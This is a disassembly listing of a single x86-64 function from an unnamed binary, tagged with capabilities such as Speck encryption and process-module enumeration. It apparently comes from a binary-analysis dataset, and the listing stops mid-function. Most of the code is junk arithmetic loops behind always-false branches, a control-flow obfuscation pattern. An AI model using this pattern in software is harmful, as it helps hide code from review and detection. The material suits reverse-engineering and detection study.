Function at 0x14017f9a0
Capabilities:
Encrypt data using speck
Enumerate gui resources
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x4948
call fcn.1401df8b0
sub rsp, rax
mov rax, qword [0x14033ee00]
xor rax, rsp
mov qword [rsp + 0x4930], rax
xor eax, eax
cmp eax, 1
je 0x140180348
xor eax, eax
test eax, eax
je 0x140180145
mov dword [rsp + 0x9e8], 0
jmp 0x14017f9f8
mov eax, dword [rsp + 0x9e8]
inc eax
mov dword [rsp + 0x9e8], eax
cmp dword [rsp + 0x9e8], 5
jge 0x140180140
mov dword [rsp + 0x1a4], Ordinal_79
mov dword [rsp + 0x6a8], 0
jmp 0x14017fa2e
mov eax, dword [rsp + 0x6a8]
inc eax
mov dword [rsp + 0x6a8], eax
cmp dword [rsp + 0x6a8], 8
jge 0x14017fc5e
mov eax, dword [rsp + 0x6a8]
add eax, 6
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x188]
add eax, 5
mov dword [rsp + 0x188], eax
cmp dword [rsp + 0x188], 0x12
jne 0x14017fc4b
mov dword [rsp + 0x178], Ordinal_46
mov eax, dword [rsp + 0x178]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14017fa9c
mov eax, dword [rsp + 0x178]
shl eax, 1
mov dword [rsp + 0x178], eax
jmp 0x14017faad
mov eax, dword [rsp + 0x178]
add eax, 3
mov dword [rsp + 0x178], eax
mov eax, dword [rsp + 0x188]
imul eax, dword [rsp + 0x1a4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x13dc], eax
mov dword [rsp + 0x9ec], 0
jmp 0x14017fae8
mov eax, dword [rsp + 0x9ec]
inc eax
mov dword [rsp + 0x9ec], eax
cmp dword [rsp + 0x9ec], 5
jge 0x14017fc4b
mov dword [rsp + 0x9f0], 0x4d
mov dword [rsp + 0x6ac], 0
jmp 0x14017fb1e
mov eax, dword [rsp + 0x6ac]
inc eax
mov dword [rsp + 0x6ac], eax
cmp dword [rsp + 0x6ac], 6
jge 0x14017fbca
mov eax, dword [rsp + 0x6ac]
add eax, 3
mov dword [rsp + 0x180], eax
mov eax, dword [rsp + 0x180]
add eax, 2
mov dword [rsp + 0x180], eax
cmp dword [rsp + 0x180], 0xb
jne 0x14017fbb7
mov dword [rsp + 0x17c], Ordinal_46
mov eax, dword [rsp + 0x17c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14017fb88
mov eax, dword [rsp + 0x17c]
shl eax, 1
mov dword [rsp + 0x17c], eax
jmp 0x14017fb99
mov eax, dword [rsp + 0x17c]
add eax, 3
mov dword [rsp + 0x17c], eax
mov eax, dword [rsp + 0x180]
imul eax, dword [rsp + 0x9f0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1110], eax
cmp dword [rsp + 0x180], 0x12
jl 0x14017fb3d
jmp 0x14017fb0e
cmp dword [rsp + 0x9f0], 0x23
jle 0x14017fc46
mov eax, dword [rsp + 0x9f0]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x9f4], eax
mov dword [rsp + 0x184], Ordinal_46
mov eax, dword [rsp + 0x184]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14017fc1a
mov eax, dword [rsp + 0x184]
shl eax, 1
mov dword [rsp + 0x184], eax
jmp 0x14017fc2b
mov eax, dword [rsp + 0x184]
add eax, 3
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x9f4]
sub eax, 4
mov dword [rsp + 0x9f4], eax
cmp dword [rsp + 0x9f4], 0
jg 0x14017fbea
jmp 0x14017fad8
cmp dword [rsp + 0x188], 0x1e
jl 0x14017fa4d
jmp 0x14017fa1e
cmp dword [rsp + 0x1a4], 0x23
jle 0x14017feee
mov eax, dword [rsp + 0x1a4]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xa04], eax
mov dword [rsp + 0x6b0], 0
jmp 0x14017fc9f
mov eax, dword [rsp + 0x6b0]
inc eax
mov dword [rsp + 0x6b0], eax
cmp dword [rsp + 0x6b0], 8
jge 0x14017fecf
mov eax, dword [rsp + 0x6b0]
add eax, 6
mov dword [rsp + 0x19c], eax
mov eax, dword [rsp + 0x19c]
add eax, 5
mov dword [rsp + 0x19c], eax
cmp dword [rsp + 0x19c], 0x12
jne 0x14017febc
mov dword [rsp + 0x18c], Ordinal_46
mov eax, dword [rsp + 0x18c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14017fd0d
mov eax, dword [rsp + 0x18c]
shl eax, 1
mov dword [rsp + 0x18c], eax
jmp 0x14017fd1e
mov eax, dword [rsp + 0x18c]
add eax, 3
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x19c]
imul eax, dword [rsp + 0x1a4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1114], eax
mov dword [rsp + 0x9f8], 0
jmp 0x14017fd59
mov eax, dword [rsp + 0x9f8]
inc eax
mov dword [rsp + 0x9f8], eax
cmp dword [rsp + 0x9f8], 5
jge 0x14017febc
mov dword [rsp + 0x9fc], 0x4d
mov dword [rsp + 0x6b4], 0
jmp 0x14017fd8f
mov eax, dword [rsp + 0x6b4]
inc eax
mov dword [rsp + 0x6b4], eax
cmp dword [rsp + 0x6b4], 6
jge 0x14017fe3b
mov eax, dword [rsp + 0x6b4]
add eax, 3
mov dword [rsp + 0x194], eax
mov eax, dword [rsp + 0x194]
add eax, 2
mov dword [rsp + 0x194], eax
cmp dword [rsp + 0x194], 0xb
jne 0x14017fe28
mov dword [rsp + 0x190], Ordinal_46
mov eax, dword [rsp + 0x190]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14017fdf9
mov eax, dword [rsp + 0x190]
shl eax, 1
mov dword [rsp + 0x190], eax
jmp 0x14017fe0a
mov eax, dword [rsp + 0x190]
add eax, 3
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x194]
imul eax, dword [rsp + 0x9fc]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1118], eax
cmp dword [rsp + 0x194], 0x12
jl 0x14017fdae
jmp 0x14017fd7f
cmp dword [rsp + 0x9fc], 0x23
jle 0x14017feb7
mov eax, dword [rsp + 0x9fc]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xa00], eax
mov dword [rsp + 0x198], Ordinal_46
mov eax, dword [rsp + 0x198]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14017fe8b
mov eax, dword [rsp + 0x198]
shl eax, 1
mov dword [rsp + 0x198], eax
jmp 0x14017fe9c
mov eax, dword [rsp + 0x198]
add eax, 3
mov dword [rsp + 0x198], eax
mov eax, dword [rsp + 0xa00]
sub eax, 4
mov dword [rsp + 0xa00], eax
cmp dword [rsp + 0xa00], 0
jg 0x14017fe5b
jmp 0x14017fd49
cmp dword [rsp + 0x19c], 0x1e
jl 0x14017fcbe
jmp 0x14017fc8f
mov eax, dword [rsp + 0xa04]
sub eax, 4
mov dword [rsp + 0xa04], eax
cmp dword [rsp + 0xa04], 0
jg 0x14017fc82
mov dword [rsp + 0x6b8], 0
jmp 0x14017ff0b
mov eax, dword [rsp + 0x6b8]
inc eax
mov dword [rsp + 0x6b8], eax
cmp dword [rsp + 0x6b8], 8
jge 0x14018013b
mov eax, dword [rsp + 0x6b8]
add eax, 6
mov dword [rsp + 0x1b4], eax
mov eax, dword [rsp + 0x1b4]
add eax, 5
mov dword [rsp + 0x1b4], eax
cmp dword [rsp + 0x1b4], 0x12
jne 0x140180128
mov dword [rsp + 0x1a0], Ordinal_46
mov eax, dword [rsp + 0x1a0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14017ff79
mov eax, dword [rsp + 0x1a0]
shl eax, 1
mov dword [rsp + 0x1a0], eax
jmp 0x14017ff8a
mov eax, dword [rsp + 0x1a0]
add eax, 3
mov dword [rsp + 0x1a0], eax
mov eax, dword [rsp + 0x1b4]
imul eax, dword [rsp + 0x1a4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x13d8], eax
mov dword [rsp + 0xa08], 0
jmp 0x14017ffc5
mov eax, dword [rsp + 0xa08]
inc eax
mov dword [rsp + 0xa08], eax
cmp dword [rsp + 0xa08], 5
jge 0x140180128
mov dword [rsp + 0xa0c], 0x4d
mov dword [rsp + 0x6bc], 0
jmp 0x14017fffb
mov eax, dword [rsp + 0x6bc]
inc eax
mov dword [rsp + 0x6bc], eax
cmp dword [rsp + 0x6bc], 6
jge 0x1401800a7
mov eax, dword [rsp + 0x6bc]
add eax, 3
mov dword [rsp + 0x1ac], eax
mov eax, dword [rsp + 0x1ac]
add eax, 2
mov dword [rsp + 0x1ac], eax
cmp dword [rsp + 0x1ac], 0xb
jne 0x140180094
mov dword [rsp + 0x1a8], Ordinal_46
mov eax, dword [rsp + 0x1a8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140180065
mov eax, dword [rsp + 0x1a8]
shl eax, 1
mov dword [rsp + 0x1a8], eax
jmp 0x140180076
mov eax, dword [rsp + 0x1a8]
add eax, 3
mov dword [rsp + 0x1a8], eax
mov eax, dword [rsp + 0x1ac]
imul eax, dword [rsp + 0xa0c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1120], eax
cmp dword [rsp + 0x1ac], 0x12
jl 0x14018001a
jmp 0x14017ffeb
cmp dword [rsp + 0xa0c], 0x23
jle 0x140180123
mov eax, dword [rsp + 0xa0c]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xa10], eax
mov dword [rsp + 0x1b0], Ordinal_46
mov eax, dword [rsp + 0x1b0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401800f7
mov eax, dword [rsp + 0x1b0]
shl eax, 1
mov dword [rsp + 0x1b0], eax
jmp 0x140180108
mov eax, dword [rsp + 0x1b0]
add eax, 3
mov dword [rsp + 0x1b0], eax
mov eax, dword [rsp + 0xa10]
sub eax, 4
mov dword [rsp + 0xa10], eax
cmp dword [rsp + 0xa10], 0
jg 0x1401800c7
jmp 0x14017ffb5
cmp dword [rsp + 0x1b4], 0x1e
jl 0x14017ff2a
jmp 0x14017fefb
jmp 0x14017f9e8
jmp 0x140180348
mov dword [rsp + 0xa14], 0
jmp 0x140180162
mov eax, dword [rsp + 0xa14]
inc eax
mov dword [rsp + 0xa14], eax
cmp dword [rsp + 0xa14], 5
jge 0x140180348
mov dword [rsp + 0xa18], 0x59
mov dword [rsp + 0x6c0], 0
jmp 0x140180198
mov eax, dword [rsp + 0x6c0]
inc eax
mov dword [rsp + 0x6c0], eax
cmp dword [rsp + 0x6c0], 7
jge 0x140180286
mov eax, dword [rsp + 0x6c0]
add eax, 4
mov dword [rsp + 0x1c0], eax
mov eax, dword [rsp + 0x1c0]
add eax, 3
mov dword [rsp + 0x1c0], eax
cmp dword [rsp + 0x1c0], 0xe
jne 0x140180273
mov dword [rsp + 0x1b8], Ordinal_46
mov eax, dword [rsp + 0x1b8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140180206
mov eax, dword [rsp + 0x1b8]
shl eax, 1
mov dword [rsp + 0x1b8], eax
jmp 0x140180217
mov eax, dword [rsp + 0x1b8]
add eax, 3
mov dword [rsp + 0x1b8], eax
mov eax, dword [rsp + 0x1c0]
imul eax, dword [rsp + 0xa18]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1124], eax
mov dword [rsp + 0x1bc], Ordinal_46
mov eax, dword [rsp + 0x1bc]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140180262
mov eax, dword [rsp + 0x1bc]
shl eax, 1
mov dword [rsp + 0x1bc], eax
jmp 0x140180273
mov eax, dword [rsp + 0x1bc]
add eax, 3
mov dword [rsp + 0x1bc], eax
cmp dword [rsp + 0x1c0], 0x19
jl 0x1401801b7
jmp 0x140180188
cmp dword [rsp + 0xa18], 0x28
jle 0x140180302
mov eax, dword [rsp + 0xa18]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0xa1c], eax
mov dword [rsp + 0x1c4], Ordinal_46
mov eax, dword [rsp + 0x1c4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401802d6
mov eax, dword [rsp + 0x1c4]
shl eax, 1
mov dword [rsp + 0x1c4], eax
jmp 0x1401802e7
mov eax, dword [rsp + 0x1c4]
add eax, 3
mov dword [rsp + 0x1c4], eax
mov eax, dword [rsp + 0xa1c]
sub eax, 3
mov dword [rsp + 0xa1c], eax
cmp dword [rsp + 0xa1c], 0
jg 0x1401802a6
mov dword [rsp + 0x1c8], Ordinal_46
mov eax, dword [rsp + 0x1c8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140180332
mov eax, dword [rsp + 0x1c8]
shl eax, 1
mov dword [rsp + 0x1c8], eax
jmp 0x140180343
mov eax, dword [rsp + 0x1c8]
add eax, 3
mov dword [rsp + 0x1c8], eax
jmp 0x140180152
xor eax, eax
test eax, eax
je 0x1401810cf
xor eax, eax
test eax, eax
je 0x1401809d4
mov dword [rsp + 0xa20], 0
jmp 0x140180379
mov eax, dword [rsp + 0xa20]
inc eax
mov dword [rsp + 0xa20], eax
cmp dword [rsp + 0xa20], 5
jge 0x1401809cf
mov dword [rsp + 0xa3c], 0x3f
mov dword [rsp + 0x6c4], 0
jmp 0x1401803af
mov eax, dword [rsp + 0x6c4]
inc eax
mov dword [rsp + 0x6c4], eax
cmp dword [rsp + 0x6c4], 6
jge 0x1401806d3
mov eax, dword [rsp + 0x6c4]
add eax, 5
mov dword [rsp + 0x1d4], eax
mov eax, dword [rsp + 0x1d4]
add eax, 4
mov dword [rsp + 0x1d4], eax
cmp dword [rsp + 0x1d4], 0x11
jne 0x1401806c0
mov dword [rsp + 0xa24], 0
jmp 0x14018040a
mov eax, dword [rsp + 0xa24]
inc eax
mov dword [rsp + 0xa24], eax
cmp dword [rsp + 0xa24], 5
jge 0x140180547
mov dword [rsp + 0xa28], 0x2a
mov dword [rsp + 0x6c8], 0
jmp 0x140180440
mov eax, dword [rsp + 0x6c8]
inc eax
mov dword [rsp + 0x6c8], eax
cmp dword [rsp + 0x6c8], 4
jge 0x1401804d6
mov eax, dword [rsp + 0x6c8]
add eax, 2
mov dword [rsp + 0x1cc], eax
mov eax, dword [rsp + 0x1cc]
inc eax
mov dword [rsp + 0x1cc], eax
cmp dword [rsp + 0x1cc], 7
jne 0x1401804c7
mov dword [rsp + 0x58], Ordinal_79
cmp dword [rsp + 0x58], 0
jle 0x1401804a9
mov eax, dword [rsp + 0x58]
sub eax, 5
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0xa
jne 0x1401804a7
mov eax, dword [rsp + 0x58]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x58], eax
jmp 0x140180481
mov eax, dword [rsp + 0x1cc]
imul eax, dword [rsp + 0xa28]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1128], eax
cmp dword [rsp + 0x1cc], 0xb
jl 0x14018045f
jmp 0x140180430
cmp dword [rsp + 0xa28], 0x14
jle 0x140180542
mov eax, dword [rsp + 0xa28]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xa2c], eax
mov dword [rsp + 0x5c], Ordinal_79
cmp dword [rsp + 0x5c], 0
jle 0x140180527
mov eax, dword [rsp + 0x5c]
sub eax, 5
mov dword [rsp + 0x5c], eax
cmp dword [rsp + 0x5c], 0xa
jne 0x140180525
mov eax, dword [rsp + 0x5c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x5c], eax
jmp 0x1401804ff
mov eax, dword [rsp + 0xa2c]
sub eax, 2
mov dword [rsp + 0xa2c], eax
cmp dword [rsp + 0xa2c], 0
jg 0x1401804f7
jmp 0x1401803fa
mov eax, dword [rsp + 0x1d4]
imul eax, dword [rsp + 0xa3c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x112c], eax
mov dword [rsp + 0xa30], 0
jmp 0x140180583
mov eax, dword [rsp + 0xa30]
inc eax
mov dword [rsp + 0xa30], eax
cmp dword [rsp + 0xa30], 5
jge 0x1401806c0
mov dword [rsp + 0xa34], 0x2a
mov dword [rsp + 0x6cc], 0
jmp 0x1401805b9
mov eax, dword [rsp + 0x6cc]
inc eax
mov dword [rsp + 0x6cc], eax
cmp dword [rsp + 0x6cc], 4
jge 0x14018064f
mov eax, dword [rsp + 0x6cc]
add eax, 2
mov dword [rsp + 0x1d0], eax
mov eax, dword [rsp + 0x1d0]
inc eax
mov dword [rsp + 0x1d0], eax
cmp dword [rsp + 0x1d0], 7
jne 0x140180640
mov dword [rsp + 0x60], Ordinal_79
cmp dword [rsp + 0x60], 0
jle 0x140180622
mov eax, dword [rsp + 0x60]
sub eax, 5
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0xa
jne 0x140180620
mov eax, dword [rsp + 0x60]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x60], eax
jmp 0x1401805fa
mov eax, dword [rsp + 0x1d0]
imul eax, dword [rsp + 0xa34]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1130], eax
cmp dword [rsp + 0x1d0], 0xb
jl 0x1401805d8
jmp 0x1401805a9
cmp dword [rsp + 0xa34], 0x14
jle 0x1401806bb
mov eax, dword [rsp + 0xa34]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xa38], eax
mov dword [rsp + 0x64], Ordinal_79
cmp dword [rsp + 0x64], 0
jle 0x1401806a0
mov eax, dword [rsp + 0x64]
sub eax, 5
mov dword [rsp + 0x64], eax
cmp dword [rsp + 0x64], 0xa
jne 0x14018069e
mov eax, dword [rsp + 0x64]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x64], eax
jmp 0x140180678
mov eax, dword [rsp + 0xa38]
sub eax, 2
mov dword [rsp + 0xa38], eax
cmp dword [rsp + 0xa38], 0
jg 0x140180670
jmp 0x140180573
cmp dword [rsp + 0x1d4], 0x1c
jl 0x1401803ce
jmp 0x14018039f
cmp dword [rsp + 0xa3c], 0x1e
jle 0x140180870
mov eax, dword [rsp + 0xa3c]
cdq
mov ecx, 7
idiv ecx
mov dword [rsp + 0xa4c], eax
mov dword [rsp + 0xa40], 0
jmp 0x140180714
mov eax, dword [rsp + 0xa40]
inc eax
mov dword [rsp + 0xa40], eax
cmp dword [rsp + 0xa40], 5
jge 0x140180851
mov dword [rsp + 0xa44], 0x2a
mov dword [rsp + 0x6d0], 0
jmp 0x14018074a
mov eax, dword [rsp + 0x6d0]
inc eax
mov dword [rsp + 0x6d0], eax
cmp dword [rsp + 0x6d0], 4
jge 0x1401807e0
mov eax, dword [rsp + 0x6d0]
add eax, 2
mov dword [rsp + 0x1d8], eax
mov eax, dword [rsp + 0x1d8]
inc eax
mov dword [rsp + 0x1d8], eax
cmp dword [rsp + 0x1d8], 7
jne 0x1401807d1
mov dword [rsp + 0x68], Ordinal_79
cmp dword [rsp + 0x68], 0
jle 0x1401807b3
mov eax, dword [rsp + 0x68]
sub eax, 5
mov dword [rsp + 0x68], eax
cmp dword [rsp + 0x68], 0xa
jne 0x1401807b1
mov eax, dword [rsp + 0x68]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x68], eax
jmp 0x14018078b
mov eax, dword [rsp + 0x1d8]
imul eax, dword [rsp + 0xa44]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1134], eax
cmp dword [rsp + 0x1d8], 0xb
jl 0x140180769
jmp 0x14018073a
cmp dword [rsp + 0xa44], 0x14
jle 0x14018084c
mov eax, dword [rsp + 0xa44]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xa48], eax
mov dword [rsp + 0x6c], Ordinal_79
cmp dword [rsp + 0x6c], 0
jle 0x140180831
mov eax, dword [rsp + 0x6c]
sub eax, 5
mov dword [rsp + 0x6c], eax
cmp dword [rsp + 0x6c], 0xa
jne 0x14018082f
mov eax, dword [rsp + 0x6c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x6c], eax
jmp 0x140180809
mov eax, dword [rsp + 0xa48]
sub eax, 2
mov dword [rsp + 0xa48], eax
cmp dword [rsp + 0xa48], 0
jg 0x140180801
jmp 0x140180704
mov eax, dword [rsp + 0xa4c]
sub eax, 2
mov dword [rsp + 0xa4c], eax
cmp dword [rsp + 0xa4c], 0
jg 0x1401806f7
mov dword [rsp + 0xa50], 0
jmp 0x14018088d
mov eax, dword [rsp + 0xa50]
inc eax
mov dword [rsp + 0xa50], eax
cmp dword [rsp + 0xa50], 5
jge 0x1401809ca
mov dword [rsp + 0xa54], 0x2a
mov dword [rsp + 0x6d4], 0
jmp 0x1401808c3
mov eax, dword [rsp + 0x6d4]
inc eax
mov dword [rsp + 0x6d4], eax
cmp dword [rsp + 0x6d4], 4
jge 0x140180959
mov eax, dword [rsp + 0x6d4]
add eax, 2
mov dword [rsp + 0x1dc], eax
mov eax, dword [rsp + 0x1dc]
inc eax
mov dword [rsp + 0x1dc], eax
cmp dword [rsp + 0x1dc], 7
jne 0x14018094a
mov dword [rsp + 0x70], Ordinal_79
cmp dword [rsp + 0x70], 0
jle 0x14018092c
mov eax, dword [rsp + 0x70]
sub eax, 5
mov dword [rsp + 0x70], eax
cmp dword [rsp + 0x70], 0xa
jne 0x14018092a
mov eax, dword [rsp + 0x70]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x70], eax
jmp 0x140180904
mov eax, dword [rsp + 0x1dc]
imul eax, dword [rsp + 0xa54]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1138], eax
cmp dword [rsp + 0x1dc], 0xb
jl 0x1401808e2
jmp 0x1401808b3
cmp dword [rsp + 0xa54], 0x14
jle 0x1401809c5
mov eax, dword [rsp + 0xa54]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xa58], eax
mov dword [rsp + 0x74], Ordinal_79
cmp dword [rsp + 0x74], 0
jle 0x1401809aa
mov eax, dword [rsp + 0x74]
sub eax, 5
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 0xa
jne 0x1401809a8
mov eax, dword [rsp + 0x74]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x74], eax
jmp 0x140180982
mov eax, dword [rsp + 0xa58]
sub eax, 2
mov dword [rsp + 0xa58], eax
cmp dword [rsp + 0xa58], 0
jg 0x14018097a
jmp 0x14018087d
jmp 0x140180369
jmp 0x1401810cf
mov dword [rsp + 0xa5c], 0
jmp 0x1401809f1
mov eax, dword [rsp + 0xa5c]
inc eax
mov dword [rsp + 0xa5c], eax
cmp dword [rsp + 0xa5c], 5
jge 0x1401810cf
mov dword [rsp + 0xa78], 0x34
mov dword [rsp + 0x6d8], 0
jmp 0x140180a27
mov eax, dword [rsp + 0x6d8]
inc eax
mov dword [rsp + 0x6d8], eax
cmp dword [rsp + 0x6d8], 7
jge 0x140180d78
mov eax, dword [rsp + 0x6d8]
add eax, 4
mov dword [rsp + 0x1e8], eax
mov eax, dword [rsp + 0x1e8]
add eax, 3
mov dword [rsp + 0x1e8], eax
cmp dword [rsp + 0x1e8], 0x10
jne 0x140180d65
mov dword [rsp + 0xa60], 0
jmp 0x140180a82
mov eax, dword [rsp + 0xa60]
inc eax
mov dword [rsp + 0xa60], eax
cmp dword [rsp + 0xa60], 5
jge 0x140180bbf
mov dword [rsp + 0xa64], 0x2a
mov dword [rsp + 0x6dc], 0
jmp 0x140180ab8
mov eax, dword [rsp + 0x6dc]
inc eax
mov dword [rsp + 0x6dc], eax
cmp dword [rsp + 0x6dc], 4
jge 0x140180b4e
mov eax, dword [rsp + 0x6dc]
add eax, 2
mov dword [rsp + 0x1e0], eax
mov eax, dword [rsp + 0x1e0]
inc eax
mov dword [rsp + 0x1e0], eax
cmp dword [rsp + 0x1e0], 7
jne 0x140180b3f
mov dword [rsp + 0x78], Ordinal_79
cmp dword [rsp + 0x78], 0
jle 0x140180b21
mov eax, dword [rsp + 0x78]
sub eax, 5
mov dword [rsp + 0x78], eax
cmp dword [rsp + 0x78], 0xa
jne 0x140180b1f
mov eax, dword [rsp + 0x78]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x78], eax
jmp 0x140180af9
mov eax, dword [rsp + 0x1e0]
imul eax, dword [rsp + 0xa64]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x113c], eax
cmp dword [rsp + 0x1e0], 0xb
jl 0x140180ad7
jmp 0x140180aa8
cmp dword [rsp + 0xa64], 0x14
jle 0x140180bba
mov eax, dword [rsp + 0xa64]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xa68], eax
mov dword [rsp + 0x7c], Ordinal_79
cmp dword [rsp + 0x7c], 0
jle 0x140180b9f
mov eax, dword [rsp + 0x7c]
sub eax, 5
mov dword [rsp + 0x7c], eax
cmp dword [rsp + 0x7c], 0xa
jne 0x140180b9d
mov eax, dword [rsp + 0x7c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x7c], eax
jmp 0x140180b77
mov eax, dword [rsp + 0xa68]
sub eax, 2
mov dword [rsp + 0xa68], eax
cmp dword [rsp + 0xa68], 0
jg 0x140180b6f
jmp 0x140180a72
mov eax, dword [rsp + 0x1e8]
imul eax, dword [rsp + 0xa78]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x1140], eax
mov dword [rsp + 0xa6c], 0
jmp 0x140180bfa
mov eax, dword [rsp + 0xa6c]
inc eax
mov dword [rsp + 0xa6c], eax
cmp dword [rsp + 0xa6c], 5
jge 0x140180d65
mov dword [rsp + 0xa70], 0x2a
mov dword [rsp + 0x6e0], 0
jmp 0x140180c30
mov eax, dword [rsp + 0x6e0]
inc eax
mov dword [rsp + 0x6e0], eax
cmp dword [rsp + 0x6e0], 4
jge 0x140180cdf
mov eax, dword [rsp + 0x6e0]
add eax, 2
mov dword [rsp + 0x1e4], eax
mov eax, dword [rsp + 0x1e4]
inc eax
mov dword [rsp + 0x1e4], eax
cmp dword [rsp + 0x1e4], 7
jne 0x140180ccc
mov dword [rsp + 0x80], Ordinal_79
cmp dword [rsp + 0x80], 0
jle 0x140180cae
mov eax, dword [rsp + 0x80]
sub eax, 5
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0xa
jne 0x140180cac
mov eax, dword [rsp + 0x80]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x80], eax
jmp 0x140180c74
mov eax, dword [rsp + 0x1e4]
imul eax, dword [rsp + 0xa70]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1144], eax
cmp dword [rsp + 0x1e4], 0xb
jl 0x140180c4f
jmp 0x140180c20
cmp dword [rsp + 0xa70], 0x14
jle 0x140180d60
mov eax, dword [rsp + 0xa70]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xa74], eax
mov dword [rsp + 0x84], Ordinal_79
cmp dword [rsp + 0x84], 0
jle 0x140180d45
mov eax, dword [rsp + 0x84]
sub eax, 5
mov dword [rsp + 0x84], eax
cmp dword [rsp + 0x84], 0xa
jne 0x140180d43
mov eax, dword [rsp + 0x84]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x84], eax
jmp 0x140180d0b
mov eax, dword [rsp + 0xa74]
sub eax, 2
mov dword [rsp + 0xa74], eax
cmp dword [rsp + 0xa74], 0
jg 0x140180d00
jmp 0x140180bea
cmp dword [rsp + 0x1e8], 0x1b
jl 0x140180a46
jmp 0x140180a17
cmp dword [rsp + 0xa78], 0x19
jle 0x140180f42
mov eax, dword [rsp + 0xa78]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0xa88], eax
mov dword [rsp + 0xa7c], 0
jmp 0x140180db9
mov eax, dword [rsp + 0xa7c]
inc eax
mov dword [rsp + 0xa7c], eax
cmp dword [rsp + 0xa7c], 5
jge 0x140180f24
mov dword [rsp + 0xa80], 0x2a
mov dword [rsp + 0x6e4], 0
jmp 0x140180def
mov eax, dword [rsp + 0x6e4]
inc eax
mov dword [rsp + 0x6e4], eax
cmp dword [rsp + 0x6e4], 4
jge 0x140180e9e
mov eax, dword [rsp + 0x6e4]
add eax, 2
mov dword [rsp + 0x1ec], eax
mov eax, dword [rsp + 0x1ec]
inc eax
mov dword [rsp + 0x1ec], eax
cmp dword [rsp + 0x1ec], 7
jne 0x140180e8b
mov dword [rsp + 0x88], Ordinal_79
cmp dword [rsp + 0x88], 0
jle 0x140180e6d
mov eax, dword [rsp + 0x88]
sub eax, 5
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x88], 0xa
jne 0x140180e6b
mov eax, dword [rsp + 0x88]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x88], eax
jmp 0x140180e33
mov eax, dword [rsp + 0x1ec]
imul eax, dword [rsp + 0xa80]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1148], eax
cmp dword [rsp + 0x1ec], 0xb
jl 0x140180e0e
jmp 0x140180ddf
cmp dword [rsp + 0xa80], 0x14
jle 0x140180f1f
mov eax, dword [rsp + 0xa80]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xa84], eax
mov dword [rsp + 0x8c], Ordinal_79
cmp dword [rsp + 0x8c], 0
jle 0x140180f04
mov eax, dword [rsp + 0x8c]
sub eax, 5
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x8c], 0xa
jne 0x140180f02
mov eax, dword [rsp + 0x8c]
